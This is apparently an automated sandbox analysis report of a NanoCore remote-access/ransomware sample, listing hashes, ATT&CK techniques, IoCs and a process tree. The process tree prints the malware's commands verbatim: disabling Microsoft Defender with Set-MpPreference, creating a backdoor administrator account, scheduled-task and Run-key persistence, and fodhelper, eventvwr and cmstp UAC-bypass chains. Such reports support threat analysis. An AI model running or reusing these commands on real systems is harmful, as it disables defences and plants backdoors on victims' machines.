nanocore | cfb5b324c86e86f83f548f5832076064476a69781b74b6ef56c9543c87886d77

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xoilactvtructiepbongdag.tv_ransome.exe
Size 39KB
Sample261027-d5rplacf24
SHA256 cfb5b324c86e86f83f548f5832076064476a69781b74b6ef56c9543c87886d77
MD5 60b9fbcf2e6962adb2f9cc2bff82c5f6
SHA1 59750f0baee577260ff4107684eaae912775b6d2
SHA512 872f6df0aada5304952f8c062cc1444e9e8b348d27d17bd4a79bb39da7cc2d2557c5e438dae401420fbb881e76b16ce7ac9b3194de5ea6d85c6e554da9ce0ae2
SSDEEP 768:m4NEVONlgIT7IqdPHglF4VNmoIb9SHIdEEusXqKhkayzPj:c0Nl97jYlaNmoIb9Sodf9Xqikr
TLSH
T1C003D74437FD8628E1BF6BBB4D7282008775B49B9D13D70D0ED1849E1A73B448E99BA3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 36 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
8008	powershell.exe
7988	powershell.exe
8216	powershell.exe
8628	powershell.exe
10200	powershell.exe
15016	powershell.exe
13344	powershell.exe
2696	powershell.exe
4768	powershell.exe
2188	powershell.exe
12172	powershell.exe
10104	powershell.exe
3212	powershell.exe
4836	powershell.exe
16244	powershell.exe
1752	powershell.exe
13560	powershell.exe
15012	powershell.exe
6416	powershell.exe
13160	powershell.exe
13276	powershell.exe
1500	powershell.exe
5960	powershell.exe
7296	powershell.exe
10732	powershell.exe
6244	powershell.exe
7796	powershell.exe
6832	powershell.exe
9288	powershell.exe
12756	powershell.exe
9320	powershell.exe
13896	powershell.exe
5032	powershell.exe
3968	powershell.exe
6940	powershell.exe
12280	powershell.exe

Modifies Windows Firewall 2 TTPs 28 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
13168	netsh.exe
7996	netsh.exe
14228	netsh.exe
3784	netsh.exe
13664	netsh.exe
9320	netsh.exe
16108	netsh.exe
15300	netsh.exe
12564	netsh.exe
12784	netsh.exe
13680	netsh.exe
14088	netsh.exe
14788	netsh.exe
13848	netsh.exe
13640	netsh.exe
11860	netsh.exe
9648	netsh.exe
14500	netsh.exe
15848	netsh.exe
9536	netsh.exe
12208	netsh.exe
10688	netsh.exe
11520	netsh.exe
16196	netsh.exe
11832	netsh.exe
13020	netsh.exe
6628	netsh.exe
14728	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	xoilactvtructiepbongdag.tv_ransome.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvtructiepbongdag.tv_ransome.exe"	xoilactvtructiepbongdag.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	xoilactvtructiepbongdag.tv_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
9964	powershell.exe
11228	powershell.exe
10488	powershell.exe
11564	powershell.exe
11488	powershell.exe
8236	powershell.exe
10932	powershell.exe
8216	powershell.exe
9688	powershell.exe
10224	powershell.exe
12316	powershell.exe
13112	powershell.exe
16076	powershell.exe
11600	powershell.exe
7732	powershell.exe
11192	powershell.exe
12700	powershell.exe
3388	powershell.exe
16224	powershell.exe
15684	powershell.exe
11972	powershell.exe
10328	powershell.exe
11024	powershell.exe
15704	powershell.exe
14356	powershell.exe
12568	powershell.exe
8708	powershell.exe
8968	powershell.exe
12280	powershell.exe
3212	powershell.exe
8008	powershell.exe
13160	powershell.exe
12756	powershell.exe
2696	powershell.exe
6832	powershell.exe
15016	powershell.exe
16244	powershell.exe
1752	powershell.exe
5032	powershell.exe
6244	powershell.exe
3968	powershell.exe
6940	powershell.exe
9288	powershell.exe
13896	powershell.exe
15012	powershell.exe
12172	powershell.exe
6416	powershell.exe
10104	powershell.exe
9320	powershell.exe
5960	powershell.exe
7796	powershell.exe
7988	powershell.exe
8216	powershell.exe
13276	powershell.exe
4836	powershell.exe
13344	powershell.exe
7296	powershell.exe
13560	powershell.exe
1500	powershell.exe
4768	powershell.exe
2188	powershell.exe
8628	powershell.exe
10200	powershell.exe
10732	powershell.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
7580	net.exe
7252	net1.exe
8480	net.exe
8808	net1.exe
14544	net.exe
7068	net1.exe
3304	net.exe
2956	net.exe
1692	net.exe
11748	net.exe
1152	net.exe
9536	net1.exe
8512	net1.exe
5424	net1.exe
4476	net1.exe
8824	net.exe
9744	net1.exe
3088	net.exe
6780	net1.exe
7004	net.exe
6848	net.exe
4612	net1.exe
11868	net1.exe
16024	net1.exe
16212	net1.exe
9676	net1.exe
7272	net1.exe
9224	net.exe
12368	net1.exe
15876	net1.exe
6820	net.exe
8800	net1.exe
8584	net.exe
15144	net.exe
13368	net1.exe
10756	net.exe
6444	net.exe
8472	net.exe
3756	net1.exe
7980	net.exe
8376	net.exe
12264	net.exe
9676	net1.exe
5536	net.exe
8828	net1.exe
10236	net1.exe
12280	net.exe
5044	net1.exe
15940	net.exe
7096	net1.exe
3964	net.exe
2492	net1.exe
12924	net.exe
7996	net1.exe
2616	net.exe
4272	net1.exe
7076	net1.exe
7316	net1.exe
9648	net1.exe
16220	net1.exe
6188	net.exe
6712	net.exe
10460	net.exe
6812	net.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\eventvwr.msc	mmc.exe

Launches sc.exe 25 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
12604	sc.exe
10392	sc.exe
10260	sc.exe
7880	sc.exe
7616	sc.exe
5540	sc.exe
4400	sc.exe
6868	sc.exe
16080	sc.exe
15156	sc.exe
16024	sc.exe
10180	sc.exe
2992	sc.exe
14740	sc.exe
12900	sc.exe
14460	sc.exe
15984	sc.exe
1220	sc.exe
5212	sc.exe
12900	sc.exe
13156	sc.exe
15852	sc.exe
15484	sc.exe
8548	sc.exe
6972	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 28 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
12652	netsh.exe
10380	netsh.exe
13008	netsh.exe
9812	netsh.exe
16092	netsh.exe
13924	netsh.exe
11344	netsh.exe
13340	netsh.exe
5916	netsh.exe
15532	netsh.exe
11680	netsh.exe
9896	netsh.exe
11236	netsh.exe
11684	netsh.exe
12932	netsh.exe
14284	netsh.exe
12444	netsh.exe
13456	netsh.exe
14348	netsh.exe
12476	netsh.exe
15552	netsh.exe
9964	netsh.exe
4176	netsh.exe
12248	netsh.exe
14432	netsh.exe
9036	netsh.exe
10452	netsh.exe
3180	netsh.exe

Interacts with shadow copies 3 TTPs 28 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5160	vssadmin.exe
6724	vssadmin.exe
10160	vssadmin.exe
11832	vssadmin.exe
11444	vssadmin.exe
13716	vssadmin.exe
14532	vssadmin.exe
5572	vssadmin.exe
13724	vssadmin.exe
11040	vssadmin.exe
11200	vssadmin.exe
12576	vssadmin.exe
11800	vssadmin.exe
10216	vssadmin.exe
16232	vssadmin.exe
12196	vssadmin.exe
11688	vssadmin.exe
9404	vssadmin.exe
11932	vssadmin.exe
8620	vssadmin.exe
12248	vssadmin.exe
14964	vssadmin.exe
10512	vssadmin.exe
10592	vssadmin.exe
14704	vssadmin.exe
15116	vssadmin.exe
12880	vssadmin.exe
14448	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command	xoilactvtructiepbongdag.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings	xoilactvtructiepbongdag.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell	xoilactvtructiepbongdag.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open	xoilactvtructiepbongdag.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvtructiepbongdag.tv_ransome.exe"	xoilactvtructiepbongdag.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactvtructiepbongdag.tv_ransome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 37 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1100	schtasks.exe
2404	schtasks.exe
7472	schtasks.exe
5292	schtasks.exe
5356	schtasks.exe
7492	schtasks.exe
8884	schtasks.exe
11172	schtasks.exe
15428	schtasks.exe
4616	schtasks.exe
7240	schtasks.exe
8836	schtasks.exe
14620	schtasks.exe
13856	schtasks.exe
6496	schtasks.exe
4172	schtasks.exe
7108	schtasks.exe
10300	schtasks.exe
10692	schtasks.exe
7040	schtasks.exe
13900	schtasks.exe
13448	schtasks.exe
11612	schtasks.exe
4984	schtasks.exe
8892	schtasks.exe
13940	schtasks.exe
14740	schtasks.exe
6940	schtasks.exe
9628	schtasks.exe
12912	schtasks.exe
15428	schtasks.exe
13432	schtasks.exe
5712	schtasks.exe
9436	schtasks.exe
10104	schtasks.exe
13528	schtasks.exe
5168	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5752	cmstp.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5824	mmc.exe
5824	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 6008 wrote to memory of 5712	6008	xoilactvtructiepbongdag.tv_ransome.exe	399
PID 6008 wrote to memory of 5752	6008	xoilactvtructiepbongdag.tv_ransome.exe	92
PID 6008 wrote to memory of 4596	6008	xoilactvtructiepbongdag.tv_ransome.exe	95
PID 4596 wrote to memory of 5824	4596	eventvwr.exe	96
PID 6008 wrote to memory of 2604	6008	xoilactvtructiepbongdag.tv_ransome.exe	97
PID 6008 wrote to memory of 2696	6008	xoilactvtructiepbongdag.tv_ransome.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6008
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5712
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\86e09351-3438-4bc7-844d-65e28a852ed1.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5752
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Drops file in System32 directory
    - Suspicious use of SetWindowsHookEx
    PID:5824
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2604
- - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
    3⤵
    PID:628
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4616
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\611424aa-62f6-4c5e-b104-1a74adb64b49.inf
      4⤵
      PID:5020
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1572
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2712
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:1228
    - - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        5⤵
        
        PID:5428
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4172
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\87590085-aa4a-4b82-aea4-64e16b17f0c3.inf
        6⤵
        
        PID:2020
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:4940
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:1880
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:5060
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        7⤵
        
        PID:1092
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7108
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8ebe62e3-0398-4eab-aa96-4eae424b1267.inf
        8⤵
        
        PID:5808
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:2760
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6512
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:5248
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        9⤵
        
        PID:2468
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7492
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cee4330e-5d3b-4af6-9a09-64dffffa2e75.inf
        10⤵
        
        PID:7640
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7820
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7960
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7968
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        11⤵
        
        PID:7668
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8884
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6ad4cdaa-4bed-4a44-98ed-921f96fba305.inf
        12⤵
        
        PID:9076
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:9172
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8268
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:7676
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        13⤵
        
        PID:9080
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9436
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\20f2da78-c7b8-4483-a00b-68aa40ee97ae.inf
        14⤵
        
        PID:9624
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9832
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9916
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:10112
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        15⤵
        
        PID:4624
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12912
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4fc54342-cc2a-4f89-b597-a1fedc4d973d.inf
        16⤵
        
        PID:12372
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:11784
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:7472
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:13488
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        17⤵
        
        PID:16376
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13856
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\615177ba-3000-4a87-8144-d14b7d8805f6.inf
        18⤵
        
        PID:13988
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:13172
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:5708
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:13596
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        19⤵
        
        PID:15948
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5292
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\36521f3d-d6d7-4b32-a91b-94abf744d87d.inf
        20⤵
        
        PID:14152
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:5204
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:16220
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:13704
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        21⤵
        
        PID:6856
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13448
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\480b2100-b40e-4837-9bc7-b7cccb11ebce.inf
        22⤵
        
        PID:10452
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:16248
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:10204
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        23⤵
        
        PID:5540
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13432
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\073e915c-8509-4998-b356-2952c6bdf68f.inf
        24⤵
        
        PID:16148
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:12560
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:11304
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:12224
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        25⤵
        
        PID:9444
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15428
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ec952510-fce0-4c32-bafa-7a62eff5fe71.inf
        26⤵
        
        PID:11124
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:8832
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:7336
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:7912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13344
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        Creates a new local user account
        
        PID:2616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:9676
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:10120
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:15884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15016
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:12280
        
        C:\Windows\system32\net1.exe
        
